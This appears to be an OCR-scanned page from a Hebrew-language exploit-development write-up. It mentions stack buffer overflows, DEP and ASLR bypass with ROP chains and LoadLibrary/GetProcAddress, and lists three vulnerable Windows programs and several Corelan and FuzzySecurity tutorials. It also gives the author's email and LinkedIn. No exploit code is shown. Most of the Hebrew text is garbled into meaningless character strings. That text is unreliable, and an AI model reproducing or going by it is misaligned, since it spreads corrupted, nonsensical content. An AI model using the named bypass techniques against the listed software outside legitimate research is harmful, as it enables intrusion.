oy 79m1p DY TN *7NNY [IY07 02 7011 ,NMNIT NXIY D290 IR 277171 GetProcAddress 7w
ITINN YD 0'02N NAIMD NX 117 NNl yiap offset-n - LoadLibrary NNty [nn NNX X'l ASLR

.LoadLibrary-7 nxmpnn

DId'oY

wnnwn? 751 'K 7y stack-n 7y Buffer Overflow 7w 'ox7j7 71¥117 n'xavmd DEP 7y 1112'T W'nNNa

.code execution Nawnl vuplayer-2 nW7IN 718172 ROP Chains 09XN 1INN'S1 NNIX §17V7 T ROP-2

JIRTIMA IR 7700 T AR ,NIRY 709

dor.gersonl7@gmail.com

https://www.linkedin.com/in/dor-gerson-b12782245

212707 N

e DVD X Player 5.5 Pro

e ASXto MP3 Converter 3.1.2.1

e Easy File Sharing Web Server 7.2

N9011 N7

Chaining DEP with ROP (Corelan):

Exploit writing tutorial part 10: Chaining DEP with ROP - the Rubik’s[TM] Cube | Corelan

Cybersecurity ResearchCorelan Cybersecurity Research

Return Oriented Programming:

FuzzySecurity | ExploitDev: Part 7

DEP bypass with WriteProcessMemory:

Bypassing DEP with WriteProcessMemory (x86) ® Vulndev

Introduction to win32 sehllcoding (Corelan):

Exploit writing tutorial part 9: Introduction to Win32 shellcoding | Corelan Cybersecurity

ResearchCorelan Cybersecurity Research
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